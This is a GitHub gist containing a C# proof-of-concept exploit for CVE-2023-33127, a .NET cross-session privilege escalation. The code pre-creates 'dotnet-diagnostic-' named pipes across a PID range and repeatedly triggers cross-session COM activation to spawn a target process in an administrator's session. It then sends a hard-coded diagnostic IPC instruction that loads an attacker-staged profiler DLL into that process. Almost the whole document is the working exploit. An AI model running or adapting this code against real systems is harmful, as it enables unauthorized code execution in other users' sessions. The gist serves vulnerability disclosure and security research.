Skip to content

Instantly share code, notes, and snippets.

@bohops
Last active June 12, 2024 09:41
Show Gist options
  • Save bohops/c7bf35ee7ff593a3a76014f7f87abb30 to your computer and use it in GitHub Desktop.
Save bohops/c7bf35ee7ff593a3a76014f7f87abb30 to your computer and use it in GitHub Desktop.
CVE-2023-33127: .NET Cross-Session Privilege Escalation Exploit
// CVE-2023-33127 POC Exploit: .NET Cross-Session Privilege Escalation
// Ref: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Diagnostics;
using System.Security.Principal;
using System.IO.Pipes;
using System.IO;
using System.Security.AccessControl;
using System.Collections.Generic;
using System.Linq;
class Program
{
static void Main(string[] args)
{
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///// Configuration Variables
// Specify target session, the process that implements "dotnet-diagnostic-" named pipes & associated COM Class ID that can be activated in other sessions
int targetSession = 2;
string targetProc = "PhoneExperienceHost";
string targetClsid = "7540C300-BE9B-4C0D-A335-F002F9AB73B7"; //"";
// Specify the PID range for starting "dotnet-diagnostic-" named pipes
List<List<int>> pidRanges = new List<List<int>>();
pidRanges.Add(new List<int> { 500, 10000 });
// Specify staging path for your "evil" "profiler" dll. This should be universally accessible
string payloadPath = @"c:\core\profiler.dll";
//Specify the Diagnostic Port Instruction (Attach profiler DLL)
/*
44 4f 54 4e 45 54 5f 49 50 43 5f 56 31 00 5a 00 DOTNET_IPC_V1·Z·
03 01 00 00 0a 00 00 00 a0 8f 4e 0d 73 27 ab 4c ♥☺··◙··· □N♪s'«L
90 b1 2d 6e a0 d5 2f a9 15 00 00 00 63 00 3a 00 □±-n Õ/©§···c·:·
5c 00 63 00 6f 00 72 00 65 00 5c 00 70 00 72 00 \·c·o·r·e·\·p·r·
6f 00 66 00 69 00 6c 00 65 00 72 00 2e 00 64 00 o·f·i·l·e·r·.·d·
6c 00 6c 00 00 00 00 00 00 00 l·l·······
*/
byte[] instruction = new byte[] { 0x44, 0x4f, 0x54, 0x4e, 0x45, 0x54, 0x5f, 0x49, 0x50, 0x43, 0x5f, 0x56, 0x31, 0x00, 0x5a, 0x00, 0x03, 0x01, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0xa0, 0x8f, 0x4e, 0x0d, 0x73, 0x27, 0xab, 0x4c, 0x90, 0xb1, 0x2d, 0x6e, 0xa0, 0xd5, 0x2f, 0xa9, 0x15, 0x00, 0x00, 0x00, 0x63, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5c, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2e, 0x00, 0x64, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// --- The target user should be a logged in administrator
Console.WriteLine(@"[+] Target session specified: {0}", targetSession);
try
{
if (!File.Exists(payloadPath))
{
Console.WriteLine("[-] DLL Payload does not exist: " + payloadPath);
Environment.Exit(1);
}
}
catch
{
Console.WriteLine(@"[-] Failed to copy files to staging path. Consider specifying a different directory root/path. Exiting...");
Environment.Exit(3);
}
// --- Start named pipe servers in the given range. A wider pid_pipe_ range is more computationally expensive, but it will speed up exploitation time to increase the chance of a valid hit.
Console.WriteLine("[*] Entering named pipe start up loop (Note: This may take a few minutes)");
foreach (var pidRange in pidRanges)
{
Console.WriteLine(@"[*] Starting named pipe server threads: \\.\pipe\dotnet-diagnostic-{0}->{1} ", pidRange[0], pidRange[1]);
int min = pidRange[0];
while (min <= pidRange[1])
{
try
{
Thread t1 = new Thread(() => StartNamePipeServer("dotnet-diagnostic-" + min.ToString()));
t1.Start();
}
catch
{
Console.WriteLine(@"[-] Failed to start named pipe server: \\.\pipe\dotnet-diagnostic-{0}", min);
}
min += 1;
}
}
Console.WriteLine(@"[+] Started named pipe server threads");
// --- Start control loop to monitor target process creation that fall within the configured PID range. When hit, trigger exploitation
Console.WriteLine("[*] Entering process monitor/exploit loop");
Thread t2 = new Thread(() => MonitorTargetProcPids(targetProc, targetSession, pidRanges, payloadPath, instruction));
t2.Start();
Console.WriteLine("[+] Started process monitor/exploit loops for target process: {0}", targetProc);
// --- Start control loop for cross session activation of COM Class (for spawning target process)
Console.WriteLine("[*] Entering control loop for cross session activation of COM server/class: {0}", targetClsid);
while (true)
{
Thread t3 = new Thread(() => ActivateCrossSessionCOM(targetClsid, targetSession));
t3.Start();
Thread.Sleep(20000);
t3.Abort();
}
}
static void StartNamePipeServer(string pipeName)
{
PipeSecurity pipeSecurity = new PipeSecurity();
pipeSecurity.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null),
PipeAccessRights.FullControl,
AccessControlType.Allow));
NamedPipeServerStream pipeServer = new NamedPipeServerStream(pipeName,
PipeDirection.InOut,
NamedPipeServerStream.MaxAllowedServerInstances,
PipeTransmissionMode.Byte,
PipeOptions.Asynchronous,
1,
1,
pipeSecurity);
pipeServer.WaitForConnection();
}
static void MonitorTargetProcPids(string targetProc, int targetSession, List<List<int>> pidRanges, string profilerPath, byte[] instruction)
{
int lastPid = 0;
while (true)
{
var procs = Process.GetProcesses();
foreach (Process proc in procs)
{
// Check to see if we get a hit on our target process outside of our session
if ((proc.ProcessName == targetProc) && (proc.SessionId == targetSession))
{
// Call .NET Core diagnostic client to attach the profiler DLL and exploit
foreach (var pidRange in pidRanges)
{
if (Enumerable.Range(pidRange[0], pidRange[1] - pidRange[0] + 1).Contains(proc.Id))
{
Console.WriteLine(@"[+] New target process pid hit: {0}. Attempting to exploit...", proc.Id);
Thread.Sleep(1000);
//Send 3x for good measure
for (int x=0; x <= 2; x++)
{
var client = new NamedPipeClientStream("dotnet-diagnostic-" + proc.Id.ToString());
client.Connect();
client.Write(instruction, 0, instruction.Length);
client.WaitForPipeDrain();
client.Close();
Thread.Sleep(2000);
}
Thread.Sleep(5000);
Console.WriteLine(@"[+] Exploit attempted. Check for evidence of execution in other session! Exiting...");
Process.GetCurrentProcess().Kill();
}
}
if (lastPid != proc.Id)
{
Console.WriteLine(@"[!] New target process pid out of range: {0}", proc.Id);
lastPid = proc.Id;
}
}
}
}
}
// --- Continually activate the target COM object for spawning new process pids
public static void ActivateCrossSessionCOM(string targetClsid, int targetSession)
{
//Invoke Cross Session COM activation with moniker bind
try
{
Console.WriteLine("[*] Invoking cross session COM activation");
object obj = Marshal.BindToMoniker(String.Format("session:{0}!new:{1}", targetSession, targetClsid));
}
catch { }
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment